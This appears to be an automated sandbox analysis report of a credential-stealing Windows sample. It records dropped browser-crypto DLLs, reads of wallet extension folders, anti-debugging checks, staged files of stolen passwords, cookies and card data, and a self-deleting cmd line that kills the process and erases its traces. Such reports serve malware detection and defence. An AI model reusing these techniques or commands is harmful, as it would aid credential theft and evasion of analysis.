Source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273715673.0000000003CE5000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273467498.0000000003DF4000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273715673.0000000003CE5000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273467498.0000000003DF4000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273715673.0000000003CE5000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273467498.0000000003DF4000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273715673.0000000003CE5000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273467498.0000000003DF4000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273715673.0000000003CE5000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273467498.0000000003DF4000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273715673.0000000003CE5000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273467498.0000000003DF4000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273590119.0000000003F02000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273212366.0000000003CEA000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273715673.0000000003CE5000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273467498.0000000003DF4000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273590119.0000000003F02000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273212366.0000000003CEA000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7416:120:WilError_03

Source: PmX1jHdUnS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1278419085.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: PmX1jHdUnS.exe, 00000000.00000003.1278419085.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: PmX1jHdUnS.exe, 00000000.00000003.1266327798.0000000003760000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266136898.000000000371C000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265807389.000000000370D000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265723544.00000000036E7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265842972.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266428397.00000000037B8000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265995008.0000000003732000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265920256.0000000003705000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266267550.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266212440.0000000003760000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266576568.000000000381B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266837064.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266057014.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1263648406.0000000003706000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: PmX1jHdUnS.exe, 00000000.00000003.1263648406.0000000003706000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1266327798.0000000003760000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266136898.000000000371C000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265807389.000000000370D000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265723544.00000000036E7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265842972.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266428397.00000000037B8000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265995008.0000000003732000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265920256.0000000003705000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266267550.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266212440.0000000003760000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266576568.000000000381B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266837064.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266057014.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_004F8C65 push ecx; ret

0_2_004F8C78

Source: sqlite3.dll.0.dr	Static PE information: section name: /4
Source: sqlite3.dll.0.dr	Static PE information: section name: /19
Source: sqlite3.dll.0.dr	Static PE information: section name: /35
Source: sqlite3.dll.0.dr	Static PE information: section name: /51
Source: sqlite3.dll.0.dr	Static PE information: section name: /63
Source: sqlite3.dll.0.dr	Static PE information: section name: /77
Source: sqlite3.dll.0.dr	Static PE information: section name: /89
Source: sqlite3.dll.0.dr	Static PE information: section name: /102
Source: sqlite3.dll.0.dr	Static PE information: section name: /113
Source: sqlite3.dll.0.dr	Static PE information: section name: /124
Source: mozglue.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_0050C810 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0050C810

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_00509700 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00509700

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_0-15055

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_0050B4E0 GetSystemInfo,

0_2_0050B4E0

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050D360 wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	0_2_0050D360
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_004F43DF FindFirstFileExA,GetLastError,___time64_t_from_ft,___time64_t_from_ft,___time64_t_from_ft,_strcpy_s,__invoke_watson,	0_2_004F43DF
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_00510540 wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,wsprintfA,DeleteFileA,FindNextFileA,FindClose,	0_2_00510540
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050E640 wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	0_2_0050E640
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050F6B0 FindFirstFileExW,	0_2_0050F6B0

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior

Source: PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F89000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000002.1300019013.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: PmX1jHdUnS.exe, 00000000.00000003.1293001012.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_004F72E6 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_004F72E6

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_0050C810 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0050C810

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_0050B160 GetCurrentHwProfileA,GetProcessHeap,HeapAlloc,lstrcat,

0_2_0050B160

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_005096D0 mov eax, dword ptr fs:[00000030h]		0_2_005096D0
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050B750 mov eax, dword ptr fs:[00000030h]		0_2_0050B750

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_004F72E6 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004F72E6
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_004F4354 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004F4354
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_004FE5C7 SetUnhandledExceptionFilter,	0_2_004FE5C7

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /pid 7776

Jump to behavior

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /pid 7776 & erase C:\Users\user\Desktop\PmX1jHdUnS.exe & RD /S /Q C:\\ProgramData\\359572487740756\\* & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /pid 7776			Jump to behavior

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Queries volume information: C:\ProgramData\359572487740756\autofill\Google Chrome_Default.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Queries volume information: C:\ProgramData\359572487740756\autofill\Microsoft Edge_Default.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Queries volume information: C:\ProgramData\359572487740756\cc\Google Chrome_Default.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Queries volume information: C:\ProgramData\359572487740756\cc\Microsoft Edge_Default.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Queries volume information: C:\ProgramData\359572487740756\cookies\Google Chrome_Network.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Queries volume information: C:\ProgramData\359572487740756\cookies\Microsoft Edge_Network.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Queries volume information: C:\ProgramData\359572487740756\cookies\Mozilla Firefox_091tobv5.default-release.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Queries volume information: C:\ProgramData\359572487740756\outlook.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Queries volume information: C:\ProgramData\359572487740756\passwords.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Queries volume information: C:\ProgramData\359572487740756\screenshot.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Queries volume information: C:\ProgramData\359572487740756\system.txt VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: GetProcessHeap,HeapAlloc,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,_memset,LocalFree,

0_2_0050AA60

